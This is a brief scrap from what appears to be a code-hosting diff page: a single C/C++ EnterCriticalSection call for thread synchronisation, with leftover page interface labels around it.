EnterCriticalSection(&m_cs);
|
||||||
|
|||||||
Reference in New Issue
Block a user